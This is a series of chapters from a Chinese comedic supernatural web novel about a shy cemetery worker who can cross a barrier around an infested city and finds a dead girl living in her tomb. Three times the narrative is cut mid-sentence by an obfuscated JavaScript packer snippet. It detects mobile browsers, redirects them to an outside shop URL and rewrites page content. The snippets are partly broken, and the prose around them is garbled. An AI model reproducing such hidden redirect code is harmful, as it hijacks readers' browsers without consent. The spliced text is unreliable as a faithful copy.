严祈明提出要进东七路街,不仅是因为这里被[茧幕]覆盖了第二道屏障,更是因为这里被监测出全市区最高的侵蚀系数。 街道内存在蹊跷已是必然,只是不知能否成为转圜现状的突破口。 他心里一点底都没有。 严祈明双手背后,沉重地进行最后动员: “各位,我们此刻站在这里。不为金钱、不为名誉,只为我们的亲人、爱人、朋友,为我们赖以生存的家园。这道屏障之后存在着什么,很抱歉地告诉各位:我也不知道。但即便如此,我们也……” 突突突。 一辆薄荷绿色小电驴从严祈明身后疾驰而过。 严祈明:“?” 他指指那辆小电驴,“是不是从东七路街出来的?” 对面的武警点点头。 严祈明:“卧槽。” “追!!!!!!!” 行动取消,快去追人!!! 一行人火速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569256|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上演了一出速度与激情,将小电驴团团围困在路边。 小电驴停下了。 众武警举起手.枪,子弹上膛,纷纷如临大敌。 “那个……” 只见车上下来一名高瘦青年,畏缩地问:“我、我刚才超速了吗?” 武警:“?” 严祈明走上前去,手握侵蚀系数检测仪。他盯着看了一会,仪器数值始终都保持在起始点:0。 没有丝毫波动。 是人类。 严祈明正要问话,却听对面传来一道不可置信的: “……Prayer?” 锵! 锣鼓喧天。 多少天了! 终于!终于有人喊这个名字了!!! 在过去的三天里,严祈明不仅要和市领导对接,部署群众工作,还要随时待命清缴藏在市内的低阶蚀体。执行任务时,他偶尔会摘下口罩,就是希望有人看见他后,能惊讶地高呼一声——“卧槽Prayer!” 那种感觉,能懂吧? 就那种“卧槽,原来我喜欢的歌手私底下竟是超级英雄!太酷啦!!!” 结果,三天过去了。 一声都没听到。 一声都没有!!! 昨晚统计物资的工作严重缺人,严祈明还跑了几个小区苦哈哈地帮忙。起初他是没戴口罩的,挨家挨户地统计着,但没有一个人认出他。 统计到鑫和小区某一户时,一个头发花白的老奶奶打开门。 一见严祈明,奶奶瞬间扶正老花镜,上上下下仔细打量着,神情凝重: “小伙子,你是不是……” 想不到他竟然有奶奶粉! 严祈明满脸鼓励地看着奶奶,耐心等待那个单词的出现。 “……你是不是肾虚啊?怎么黑眼圈这么重?” 严祈明:“……” 谢谢奶奶。 连着通宵三天,只是黑眼圈重,已经说明他的肾功能很健康了哈哈。 他不再自取其辱,当场把口罩焊死在脸上,决定低调做人。 而现在……! 居然有人认出他了!!! 嘿嘿~ 严祈明拼命压下嘴角,严肃道:“喊我名字也没用啊。你知道这是什么地方吗?居然一个人闯进来!” 他看向对面的的青年。 好眼熟。 这不昨晚一直说梦话那个吗? 严祈明:“你是……” 青年呆呆地盯着严祈明身上那件设计感十足的牛仔外套,突然想起了什么,大叫道: “卧槽!人贩子!!!” 严祈明:“???” 安浔此时有点慌。 他刚才满脑子都想着赶紧从东七路街出来,忘了市内电动车限速的事,没想到第一次超速就被警察抓个正着! 再一转头,就看见了近期常听的歌手Prayer。 Prayer和综艺节目里一模一样,就是看着有点肾虚。 但这都不是重点。 重点是Prayer的衣服。 昨晚敲门的人贩子就穿这身! 再仔细一想,两个人体型对上了!就是一个人!! 安浔紧张地说不出话来,惊恐地环顾四周—— 许多穿着制服的武警。 Prayer站在这群人最前面。 等等,不对啊? 如果Prayer是人贩子,那警察怎么不把他抓起来?话又说回来,为什么拦车的不是交警而是武警啊??? 所有的疑问汇集在脑中,最终形成了一个明晰的答案! 难怪…… 难怪今天这条路上一个行人都没见到,原来是这样!!! 安浔悟了。 他有点尴尬地挠挠头: “请问……你们是在录节目吗?” 13. 营业取消 (13) 严祈明:“……” 严祈明用了至少十分钟的时间,才确认安浔没在开玩笑。 “你是说,你刚进东七路街没多久就被乞丐糊弄走二十块钱,还有个阿姨打着请你吃软饭的名头想骗你做小爹……?” 安浔面色苍白地点点头。 短短半小时,那条街道已为他留下了难以磨灭的伤痛。 “是啊。”安浔如鲠在喉。 他哆嗦着继续道:“最、最恐怖的是,我发现整条街的人们过得都非常幸福,连条狗都比我幸福!……算了,现在很多狗日子过得都比人好。对了,我说的这些话应该不会上电视吧?” 严祈明低下头,拼命抿住嘴唇,却还是没忍住:“……噗。” 安浔:“?”什么声音。 “……是不是有东西漏气了?” 严祈明轻咳了一声,一本正经道:“不好意思,我最近有点感冒,鼻子堵。放心你不会上电视的,我们有义务保护每一位市民,包括他的‘隐私’。” “噗。”严祈明身后的人们也纷纷低下头。 安浔:“?” “你的……同事们,也感冒了?” 严祈明连连点头: “是是,他们也感冒了。对了,安浔是吧?——你是怎么从东七路街出来的?” 这才是严祈明最关注的问题。 东七路街口覆盖着[茧幕]的屏障,即便他们此刻与之相隔数百米,他也依然有种被异常生物窥视的如芒刺背感。 作为一个A级清缴者,他很清楚街内的事物远比安浔所描述的要危险。 三天过去,那条街只出来了安浔一个人。 他究竟依靠了什么? “骑电动车啊。”安浔回答。 严祈明:“……” 看不见。 光凭这一句回答,严祈明就明白,眼前这个满脸茫然的家伙,根本看不到[茧幕]。 连蚀体的本体都看不见。 却能若无其事地进入街巷,再毫发无伤地出来。 ……这人到底什么来头? 严祈明微眯双眼,满脸探究地打量安浔,试图窥出一丝端倪:“那你急匆匆地进东七路街,是去做什么?” 这种时候不仅没在居家隔离,反而挺身走险,难不成是缺乏物资? 不对啊。 这人今早不是收到物资了吗?还给派送员硬塞三百块钱呢。 “上班啊。”安浔一脸理所当然。 “?”严祈明差点被气笑。 现在全市封禁,蚀体虎视眈眈,怎么会有人为了上班不要命!这科学吗!!! “我在麟溪墓园上班,得赶紧回去了……对了,可以别拿摄像头对着我吗?我不、不习惯这样。” 安浔瞥向其中一名穿着制服的工作人员。 那人手里端着便捷摄像机,从严祈明问话开始就一直对着他,像在拍什么vlog。 不慎误入拍摄片场,还被工作人员追了半天。 安浔生怕自己影响了拍摄工作,这才鼓足勇气回答了Prayer一个接一个的问题。这要放平时,他早就跑路了。 既然不是超速被拦,那他也该尽快回单位了。 严祈明挥手示意,武警放下了临时用来拍摄任务情况的执法记录仪。 “麟溪墓园在哪?”严祈明侧过头。 身边的一名武警小声提醒道:“在郊区。” 郊区……? 严祈明:“!!!!” 他望着一脸无辜的安浔,突然意识到了什么,匆忙问: “你知道擎安市最近有什么重大新闻吗? 安浔想了想,好像没有? 他不怎么关注这些,偶尔有点娱乐八卦,还是从同事嘴里知道的。而且这两天没有网,家里也没电视,上哪看新闻去。 安浔为难道:“你是想说,最近你来擎安市拍节目了……所以这是个重大新闻?” 严祈明:“那倒不是。” “原来你觉得这是大新闻啊……” 嘿嘿。 严祈明努力压下嘴角,继续问:“最后一个问题,你昨天去上班了吗?” 安浔挠挠头:“上了啊。但是,这和我误闯你们的片场有什么关系吗?我是不是可以走了?我上班已经迟到很久了。” 严祈明总算明白了。 眼前这家伙,不是不怕死。 一直叽里咕噜着片场、拍摄、上班……是因为这家伙根本不知道擎安市被蚀体入侵了! 而且,他还能穿过[茧幕]。 虽然不清楚原因,但这是个不可多得的机会。 “安浔是吧。”严祈明果断掏出手机,“我们加个微.信。” 安浔:“啊?” 就这么水灵灵地拿到Prayer的联系方式了? “另外,我确实在拍节目。” 严祈明勾唇,凑向他的耳边,将声线熟练地切换成营业专用的低沉嗓音,轻笑道: “现在有个找路人协助完成任务的环节。没错,你被我选……” “我拒绝。”安浔当即道。 严祈明:“?”营业取消。 “你不是我的粉丝吗?” 安浔向后飞快躲远,像是碰见了什么脏东西,老实道:“我只是喜欢你的歌。” 又不是喜欢你的人。 “……”严祈明咬咬牙,抬手比出一个数字,“你帮帮忙。不麻烦,顺路的事,一次我给你这个数。” 安浔瞬间两眼放光。 看来人还是要靠自己,才能走上发家致富的正途。 “成交!” …… ———— 上午九点三十分 郊区临时指挥中心 陈羿川戴着滑稽表情包眼罩,双手交叠在胸前,盖着龙图小毛毯安详地瘫在折叠椅上。 “已经过去两个小时了,目标出来了吗?”他用一种即将去世的声线,无比平和地问。 下属在一旁汗流浃背:“报告陈队,没有……” “噢。我再死一会。”陈羿川闭上嘴。 下属:“……” 昨天虽然拦截目标的行动失败了,但陈羿川推测出目标今天很有可能还会再次前往麟溪墓园上班。 于是从天刚蒙蒙亮,就带着一伙人全副武装,蹲在公路边随时准备劫……拦人。 目标安浔只要一出来,就立刻把他按在原地! 七点四十分,目标没有准时出现。 陈羿川站在人群最前方,内心佁然不动:“都别慌。上班时间本就不是绝对的,有几分钟偏差很正常。” 八点整,目标依旧没出现。 陈羿川笑了笑,试图掩盖心虚:“上班迟到了吗?有点意思。” 八点三十分,目标还是没出现。 陈羿川望着周围没吃饱没睡醒的兄弟们,陷入了沉默:“……要不,先回去吃饭?” 你们也是知道的。 00后大学生即使当了领导,也很在乎下属有没有吃饱。 但最后谁也没回去。 一伙人在大道上愣是坚持到了九点,最后连着几天都没好好休息过的陈羿川又气又饿,直接低血糖犯了,当场被抬回了指挥中心。 现在已经九点三十分了。 那个叫安浔的,今天可能不会出现了。 陈羿川闭眼沉思了一会,说道:“喊他们回来养精蓄锐吧。我查了下,这家墓园是轮休制,今天目标可能不上班。” 他只能这样告诉自己。 目标不过是今天不上班,而不是再也不会出现了。 [茧幕]已经包围擎安市三天了。 他恨这道屏障的存在,恨昨天没能把握近在咫尺的机会,更恨自己的无能为力。 在A级蚀体面前,他只能焦头烂额地带着一群年长他许多的清缴者们团团转。所有人都陪着他呕心沥血了足足三日,事情却没迎来任何转机。 怎么办? 他该怎么做?总部把这桩任务托付给他,真的是明智的决定吗? “……陈队!出来了!!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569257|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>听到下属激动的欢呼时,陈羿川迅速起身,一把扯下眼罩:“安浔?他出来了?” 下属:“追击组要撤离时,他刚好出来了,现在已经把人拦下了!” 没有一丝犹豫,陈羿川掀开毯子,飞快向外跑去—— “等等,陈队!” 下属在后面惊恐地大叫:“……你裤子没穿!!!” 所以,当陈羿川穿着拖鞋和大裤衩站在安浔面前,并感觉下身一阵阵发凉时,一切都已经来不及了。 陈羿川:“。” 安浔:“。” 睡衣很长,衣摆遮住了不该出现在晋江文学城的部位。 但饶是如此,他也很像有什么暴.露癖好的变态。一旁的追击组成员识时务地递来一件风衣,陈羿川果断套上了,把自己遮的严严实实。 只不过穿上风衣,下面露出白花花的两条腿后,他看起来好像更像变态了。 安浔握着手里的东西,有点害怕:“你们这个……是正经节目吗?” 陈羿川:“……啊?” 二十分钟前,Prayer递给了安浔一个文件夹。 Prayer说,这个东西在他出市区后,就会有人立刻赶过来取,到时候他只要把这些东西交给他们就好。如果没有,那他就把文件夹放在刚出市区的路边,会有人取走。 因此,当一群人将他拦下时,安浔丝毫不慌,只有即将拿到钱的喜悦。 原来社恐不是靠社交克服。 而是靠钱,哈哈。 文件夹里有什么,安浔并不关心。 他猜大概就是一些游戏线索什么的。综艺嘛,都是这种套路。 但是不知道为什么,来取线索的人居然没穿裤子。 难道这也是游戏的一环? ……这能播吗? “这个是Prayer让我给你的。”安浔偏过头,不敢多看,把文件夹小心翼翼地交到对面。 “Prayer?”陈羿川一愣。 他的表情逐渐微妙了起来,小声嘀咕:“严祈明……原来是他在里面。” 陈羿川翻开文件,里面放了几份汇报资料,把擎安市内的状况详细说明了一遍。看到现状还不错,陈羿川的脸色总算和缓了一点。 他往后接着翻,又发现了严祈明匆忙写下的一则留言: 【嗨,外面的人,虽然不知道你是谁。 但注意看,来送信的人叫安浔。他很特殊,能穿过[茧幕]的屏障却不受影响。另外,他还不知道擎安市被蚀体入侵了,以为我们在拍综艺,先别告知他真相!但务必保护他的安全! 对了,我在市里。发到[茧幕]之外的消息会被屏蔽。 帮我付他二百跑腿费! ——你亲爱的,严祈明】 陈羿川:“……” 他一抬头,发现安浔刚好朝他小手一伸。 严祈明你个狗东西。 大学生的便宜你也占,呸! 陈羿川愤懑地掏兜,但只掏到了自己光滑的大腿。 陈羿川:“。” 他有点尴尬地望向周围,“你们谁借我下手机……?” 安浔就这么莫名其妙地又加了一个微.信。 对方发来的备注叫“陈羿川”。没听说过,不过看模样眉清目秀的,可能是娱乐圈新人吧。 安浔收了二百块的红包后,总算轻松了不少。 任务完成,天降横财! 他美滋滋地坐上车,正要离开,却听陈羿川喊道:“等一下——” 陈羿川又给他发了个红包。 “安浔,任务还没结束。希望你今天能帮我给严……Prayer回个信。” 安浔:“……啊?” “不够?”陈羿川想了想,又发了两个红包。 安浔迅速道:“我接。” 但凡犹豫一秒,都是对林医生医嘱的不尊重。 林医生说过,要多和人接触才能克服社交恐惧! 这怎么能是为了钱呢。 一切都是为了提升社交水平啊! 14. 真邪门 (14) 安浔到单位时,已经快要上午十点了。 在赶来之前,他被陈羿川扯住问东问西了好半天。对方坚称自己是大学生,对墓园不太了解,非要听他介绍一下麟溪墓园。 安浔大为震撼。 这年头,大学生也太卷了吧。年纪轻轻就开始物色地下不动产了吗。 秉承着专业素养,安浔还是简单介绍了一下。 最后陈羿川表情复杂地放他离开了,似乎有点犹豫不决。 安浔明白。 这一看就是心动了! 他肯定想买一块属于自己的墓地! 前往办公楼的路上,安浔又碰见了那只会说话的白鸽。 圆成霉菌球的大胖鸽子从天而降,拦在了台阶中央。 它身上闪闪发亮,仿佛添加了曝光滤镜。甚至在安浔走来时,还努力伸出小短腿,摆出一个闪亮登场的pose。 “想不到吧!鸽又回来了——!!!” 安浔视若无睹。 捧着祭品,绕道而行。 白鸽:“?” 它扑棱着翅膀,飞快攀上几级阶梯,又拦在安浔面前。 “oi!” “看见没有,鸽回来了!!” 安浔充耳不闻。 再次绕开。 白鸽:“???” “鸽回来了!!!” 绕开。 “鸽回来——” 绕。 “鸽——” 绕。 绕绕绕绕绕。 直到走到最后一阶。 走个楼梯愣是把自己走成贪吃蛇的安浔,终于把手里的祭品安全放在了进门的长桌上。 他转过身,低头看向脚边那只还在叽叽喳喳的鸽子,怜悯地问: “你还有什么想说的吗?” 大胖鸽子显然没懂这句话的言外之意。 它喋喋不休着,张口就一股爹味:“你还问鸽!?” “你不仅殴打领导,还强迫领导花了两天两夜才飞回单位!今天你足足迟到了6243秒!!!所以鸽要扣你六万两千四百三……咕。” 鸽子的声音戛然而止。 因为安浔用食指和拇指捏住了鸽子的嘴。 鸽子试图发声,但根本张不开嘴,看起来很破防。 好在这不是一只西八鸽,不然被这个手势捏住肯定更破防。 安浔一路捏着鸽子的嘴,给它丢回了食堂门前的鸟笼里,反手上了锁。还不小心打翻了鸟笼里的饮水盘。 鸽子急了。 并当场大叫起来:“你做什么!!现在的年轻人真是不懂感恩!!!就你这样子以后能有什么出……” 安浔想了想,又不小心打翻了饲料盒。 “啊啊啊啊啊你等着!!鸽要找人弄你——!!!!” 小小鸽子,装什么老板。 安浔拍拍手,转身走了。 他今天拼了命才让银行卡余额重新变回三位数,没有人可以扣掉他哪怕一分钱! 就是续费会员来了也不行! 安浔刚回到办公楼,就在楼梯口看见了四下张望的黄毛。 一见他,章扬的眼睛就亮了起来:“哥,正找你呢!阮姐说让你上楼换衣服。” 他晃了晃手里的摄像机,嘴里不知又在嚼什么,咬得咯吱咯吱响:“阮姐说今天祭扫时我不用出镜,让我给你们拍视频发给客户。” 嗯,能理解。 毕竟,客户应该也不希望代理祭扫的人顶着一脑袋黄毛。 尤其墓主还是个小女孩。 不安全。容易被黄毛骗走。 安浔瞥了一眼垂在章扬唇边的不明物体,忍不住问:“……你又在吃什么?” 不是给他一兜零食吗? 怎么又在乱吃饭了?? 一提这事,章扬的表情瞬间委屈起来。 “哥!我跟你说!我今天到办公室想吃零食时,发现我的花生瓜子干脆面,薯片辣条魔芋爽,满满一大袋子全都不见了!!!” “……让人拿了?” 安浔愣了愣,又转念一想:“但是,办公室里不就程哥和阮姐吗?他们都不吃零食的。” 章扬泪眼汪汪地继续控诉: “呜呜呜,最过分的是,那些零食不是凭空消失了,而是全被拆开吃光了!我早上一看桌子,上面堆满了撕开的包装袋!” 令人发指。 这是妥妥的职场霸凌! 安浔思考了一下。 他昨天上了半天班就走了。罪魁祸首怎么想都只能是另外两个人。 欺负新人也不叫他。 果然,他还是在被同事排挤。 “没事……” “你也别太难过。” 安浔并不善于安慰人。但他想起了自己昨天上午在办公楼前捡到的三百块。 “这些,你拿着。” “等下班了去给自己囤一麻袋零食回来。”安浔掏出三百现金,塞进黄毛手中。 虽然不清楚这钱是谁的。 但如果是章扬的,就算物归原主;如果是程蔼或者阮明婕的,就算他俩欺负新人,罪有应得。 最主要的是,免了他去问一圈到底是谁丢钱了,减缓了社交压力! 天才!!! 安浔转身走了。 毕竟还要赶着上工。 徒留章扬握着那三张红色钞票原地发呆。 “对啊——!” 章扬继续嚼嚼嚼,一口咽下从食堂后院逮到的耗子,恍然大悟:“安哥说得没毛病啊!零食没了就出去买呗。” 他琢磨了一会,眺望向远边的山林,突然觉得哪里奇怪。 “那我为什么不出去呢……?” 麟溪山的树木苍郁葱翠。 章扬穿过逶迤的小径,一步步走向墓园的边缘。那里飘散着浓厚的白雾,好似一堵密不透风的气墙。 从他留在墓园的那日起,这堵墙就一直存在。 章扬走向白雾。 下一秒,他的身体犹如被编写好的程序,强制性地转过身。 “噢,对哦。” 他睁着失焦的眼睛,僵硬地越过灌木,沿着原路开始返回。 “出不去。” “因为我们……出不去。” …… ———— 安浔在更衣室换上了祭扫专用的黑色正装,对着镜子照了照。 这种正装就很邪气。 大概是因为版型和材料都死气沉沉,所以只要一穿上,别人就会觉得是干丧葬的。 而鉴于他本人皮肤苍白,还有种淡淡的死感,所以穿上这种衣服后,看起来更像要被下葬的。 安浔:“……” 要不把头发扎起来?应该能显得阳光一点…… 他头发确实留的有点长了,刘海也挡眼睛。 但之所以不去剪…… 还是原因无他。 他是社恐啊!!! 安浔宁可视野不开阔,也不想和理发师玩赌.博。 尤其是理发师还会像发牌荷官一样蛊惑他,一边拿着剪刀比量,一边问“这里要不要?”“再多来点呗?” 而他不敢说话,只会疯狂点头。最后因为点多了,被剪成一只无毛泰迪。 丑的他差点戳瞎自己,愣是装病一周才敢出门。 安浔头发有点自来卷。 这种发质,头发越长弯度越大,现在每一根头发都恨不得弯弯绕绕,比他的肠子结构还复杂。 他从柜子里掏出一个皮筋,将脖颈的碎发拢起,扎成一个小揪。看着还算美观。 咚咚—— 更衣室的门敲响了。 看来是来催他的。 安浔锁好柜子,赶忙开了门。 “哟,还挺帅哈。”门外传来一道女音。 “阮、阮姐。” 安浔瞬间立正了。 门外的女性干练地挽着头发,高挑的身型配上那身死气沉沉的正装,竟也穿出一种即将上台走秀的高级感。 阮明婕是他们单位唯一的女员工。平时干的是技术活,很酷的一位姐姐。 听说阮姐有男朋友。 不过她管男朋友叫老婆。 安浔不敢多问。 只是对她产生了发自内心的敬畏之情。 “外边都准备好了,快走吧。” 阮明婕把一份对折的稿子塞进安浔手里,“程蔼今天感冒,嗓子肿了。致辞你来说,可以吧?” 安浔:“?” 他悄悄看了阮姐一眼,弱弱地问:“有别的选择吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569258|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>阮姐:“没有。” 安浔当即闭上小嘴巴。 弱小、可怜、无助,毫无反抗之力。 提问:让一个话都说不利索的社恐对着墓碑念稿子。是客户先生气,还是墓主先生气? 是他先断气。 哈哈^q^(吐血)。 …… 裴青青。 他们今天要祭扫的墓主。 是个小女孩,下葬的时候只有八岁,听说死于一场车祸。 裴青青的家长早些年还在擎安市,后来因为工作的缘故全家搬到了国外。实在是不方便回来祭扫,只能线上预约工作人员来代替。 安浔蹲在墓碑前,将买回来的烘焙品整齐放好,点上蜡烛,倒上茶水。 因为孩子大概率不喜欢纯茶。 所以他倒的是奶茶。 很人性化。 程蔼和阮明婕一左一右站在他身后。一个人捧着超大泰迪熊,一个人捧着花束。 程蔼看起来是真的感冒了,没什么精神的样子。 章扬站在对面,手持摄像机。 一切都准备就绪了。 安浔站起身,示意章扬可以放音乐开始拍摄了。 章扬激动地回了个“ok”,打开音响。 开始拍摄! 安浔举起麦克风,盯着手里的稿子,有点紧张地开口。 他正要说话,一阵音乐狂轰乱炸地席卷向他的耳朵: “准备好了吗?孩子们!” “准备好了,船长!” 安浔:“?” 安浔的眼肌抽动了一下。 他用余光惊恐地瞥向正在放歌的章扬,但对方居然毫无反应! 阮明婕在旁边悄声提醒: “没放错,家属点的。这是裴青青最喜欢的动画片歌曲,家属说要让她过个快乐的六一。” 安浔:“???” 裴青青是快乐了! 那管不管她邻居们的死活啊!!! 一般来说,致辞时放的都是节奏舒缓的纯音乐。但要是家属有特定要求,他们也必须尽力满足…… 呃呃呃(痛苦)。 啊啊啊啊啊啊(尖叫)!!! 拍摄还在继续,安浔握着稿子的手疯狂颤抖。 “是谁住在深海的大菠萝里~” 安浔:“尊敬的裴青青小朋友……” 音乐叮了咣啷。 安浔意乱心慌。 “受您父母委托,今日由我们来代替他们探望您,以此表达对您的思念……” 方块伸缩自如。 安浔悼心失图。 “他们让我转告您:他们的工作一切顺利、身体健康,请您放心……” #@%*@%#*…… 一曲铿锵的音乐结束。 船长哈哈大笑着扬帆起航。 “………………” 安浔已经沉船了。 他终于念完稿子,颤颤巍巍地和同事们一齐鞠躬。章扬的摄像头刚关上,他就瞬间瘫软跪坐在地,疯狂大喘气。 要、要死了…… 救命啊救命啊救命啊救命啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!! 再让他多说一句话,他都能当场去世去见太奶! 没事的。 至少他坚持过去了。 都过去了,没关系的…… 突然,安浔听见前方传来一阵窸窣的声响。 只见墓碑下的石板悄悄掀开一道缝隙,一只白嫩的小手伸了出来,飞快抓走一块黄油饼干。 安浔:“?” 他揉了揉眼睛,还以为是看错了。 但很快,那只手又伸出来了! 还把咬了一小口的饼干放回了原位!!! 安浔:“????” 他瞬间窜起来,顺着那道缝隙,小心翼翼地掀开石板—— 石板下的方形石棺中,正盘腿坐着一个瘦小的女孩。 安浔低下头。 女孩抬起头。 四目相对。 女孩眨眨眼睛,平静地说:“我不住在大菠萝里。” 安浔:“………………” 坏了。 是没见到太奶。 见到裴青青了啊啊啊啊啊啊啊啊啊!!!!!!!!! 15. 我嘞个活爹 (15) 【监控画面】 【5月31日 08:47】 安浔戴着手套提着麻袋,正在清理墓碑前的贡品。 陆续走过几排墓碑后,发现贡品缺斤少两的安浔直起身,快步赶往办公楼。 他前脚刚走,0079号墓的石板就被掀开。 一个穿着洁白长裙、披头散发的小女孩灵活地钻出石棺,再盖好石板。光着脚哒哒哒地跑向后山树林,脱离了监控范围…… 起猛了。 这么多年,麟溪墓园的住户都是只进不出。头一次看见进去了又爬出来的。 安浔:“……” 程蔼:“……” 章扬:“……” 阮明婕:“……” 麟溪墓园的几位工作人员全都围在电脑桌前。 屏幕的光芒映照在众人的脸上,所有人的表情都很一言难尽。 阮明婕:“也就是说,这小孩昨天就已经在园区了。章扬你巡逻巡哪去了?这么大个人你没看见?” 章扬站在一旁支支吾吾: “就……早饭吃了之后闹肚子,那个时间我在蹲厕所。” 阮明婕白了他一眼,示意显示器前的程蔼继续往前调监控。 监控以多倍速向前回溯,但每个视角里都没再出现女孩。 这意味着,这个女孩至少在5月30日就已经来到麟溪墓园了。 阮明婕皱了皱眉:“再往前一天。” “不能往前了。” 程蔼放下鼠标,偷瞄了一眼安浔,哑着嗓子道:“5月30日的视频,我全删除了。” “……”安浔心虚地移开视线。 阮明婕:“?” 她的目光迅速锁定二人:“你们两个干什么了?” 安浔:“。” 程蔼:“。” 昨天为了调查贡品失窃,安浔和程蔼一起调出了5月30日的监控,而中途发生了……一些意外。 场面一度混乱,差点让麟溪墓园的死者+1。 总之最后程蔼表示,他已经帮安浔把监控删了,备份也没留。 但是…… 程蔼怎么把一整天的监控全删了啊!!!!! 现在不解释清楚,麻烦可就大了! 安浔面色苍白地张开嘴,试图组织语言,可话到了嘴边又变得难以启齿。 这咋说啊。 说他昨天被程蔼目睹高清黑历史,对方自愿帮忙销毁证据? 听着更像联手作案了!! 安浔:“就、就……昨天,我……” “小安昨天发现有贡品丢了……咳咳。我帮他去查监控,只看了30号工作时间的视频,没见到裴青青,她可能是闭园后从什么地方溜进来的。” “我看完之后不小心把当天记录全删了,这是我的责任……咳咳!咳咳咳咳咳——” 程蔼一脸虚弱地解释完,就开始疯狂咳嗽。 阮明婕叹了口气,朝他摆摆手:“行了,你也别撑着了,赶紧休息吧,后面的监控我来看。” 阮明婕坐到显示屏前,将画面切换。 【监控画面】 【5月31日 21:03】 监控画面里,漆黑的办公室门被推开一条缝隙。 一道白影悄无声息地从门缝间掠过,如幽灵般游荡向无人的办公桌。 嗅嗅嗅。 穿着白裙的女孩很快发现了章扬桌上那满满一大袋零食。 并很不见外地撕开了魔芋爽辣条薯片鸡爪鸭脖牛肉粒干脆面玉米肠泡椒猪皮……坐在章扬的办公椅上嚼嚼嚼,脸颊鼓的像是仓鼠。 把一大袋子零食全部消灭后,女孩满足地打了个饱嗝,拍拍屁股走了。 最后她出了办公楼返回园区,掀开石板,利落地跳回石棺,又从下方把石板盖住。 动作行云流水,一气呵成。 章扬:“……!!!” 他气得原地跳起,指向房间里的罪魁祸首: “我的零食原来是你吃的——小偷!!!” 坐在沙发上玩switch的女孩抬起头。 是的。 就是那个失窃的switch。 今天他们把小姑娘捞出来后,还在石棺里发现了不少她“邻居”的东西。 “对不起哦,小哥哥。”女孩看向章扬,表情很委屈。 “我实在太饿了,找了一整天才发现那些食物。还以为是聪明的小哥哥知道我饿肚子,特意放在那留给我的……原来不是呀?” 聪明的章扬加载了一会大脑。 并红着脸支支吾吾道:“害……这、这都被你发现了!” “没错!就是留给你吃的!!!” 安浔:“?” 就这么被糊弄过去了? 原来小女孩也能反过来骗黄毛!!! 女孩把手里的switch递给了章扬,眨着自己blingbling的大眼睛: “作为谢礼,这个给你玩好不好?” 安浔:“……” 他没忍住,插了句嘴:“这掌机是别人的吧?” 女孩摇摇头:“之前是小陆哥哥的,但我问他能不能送给我玩,他同意了。所以现在是我的了。” 安浔:“???” 就离谱。 她嘴里的“小陆哥哥”就是那个十六岁的墓主,switch是他父母买给他的。 所以她怎么问的? 敲敲人家的墓碑,说“你不说话,我就当你答应送我玩了~”吗?? 女孩坚称自己叫裴青青。 虽然不排除是从什么地方冒出来的熊孩子,但这个女孩的长相和逝者资料库里的裴青青完全吻合。 他们前面还问了一些家庭信息,她竟然也能如实回答上来。 这就很惊悚。 因为想要购买墓地并将逝者下葬,购买者必须提供逝者的死亡证明、火化证明等文件。 麟溪墓园的办事流程很正规,不存在文件不齐就下葬的情况。 可眼前这个女孩不仅唇红齿白、气色很好,看起来还活蹦乱跳的,比他有活人感多了。 安浔只觉得自己的唯物主义信仰在摇摇欲坠。 他瞄了裴青青一眼,小声问:“所以……你是人吗?” “大哥哥,你骂我?” 裴青青的表情瞬间楚楚可怜起来。 安浔:“!” “不不不,我的意思是……” 像被安浔的反应逗乐了,裴青青嬉笑起来。她歪歪头,以一种耐人寻味的目光观察着他的耳垂。片刻后,她笑眯眯道: “放心吧,大哥哥。我不是鬼~” 感觉更惊悚了QAQ!!! “联系不上她家属。” 查完监控的阮明婕走了回来,手机屏幕还亮着,“我刚才给她父母打电话了,都没接。” 安浔:“要不报警?” 这么诡异的事,还是交给警察处理比较好。 别是什么新型诈骗套路。 阮明婕看向裴青青:“小孩,你是怎么进来的?” 裴青青坦诚回答:“我就住这里。” 阮明婕:“你这算私闯民宅。” 裴青青:“但那块地上立的石碑写了我的名字,我有合法居住权。” 阮明婕:“你还偷了别人的贡品,这叫入室抢劫。” 裴青青:“不是偷的,是大家送的。” 阮明婕:“你这是违法。” 裴青青:“我今年不满十二周岁。” 阮明婕:“####” 居然无法选中!!! “一会我再给她父母打几个电话。下班之前还联系不上,就立马送她去警局!!!” 阮明婕一脸愤懑地走了,离开办公室前还骂骂咧咧地念叨着: “@#%@#!!幸好我和老婆都丁克!!!!” 听得安浔目瞪口呆。 阮姐竟然也败了!这小孩姐简直恐怖如斯!!! 吓得他根本不敢直视裴青青,只朝玩switch玩的不亦乐乎的章扬嘱托道: “章……章扬!今天你看着点裴青青,别让她乱跑!” 章扬朝他比了个“ok”。 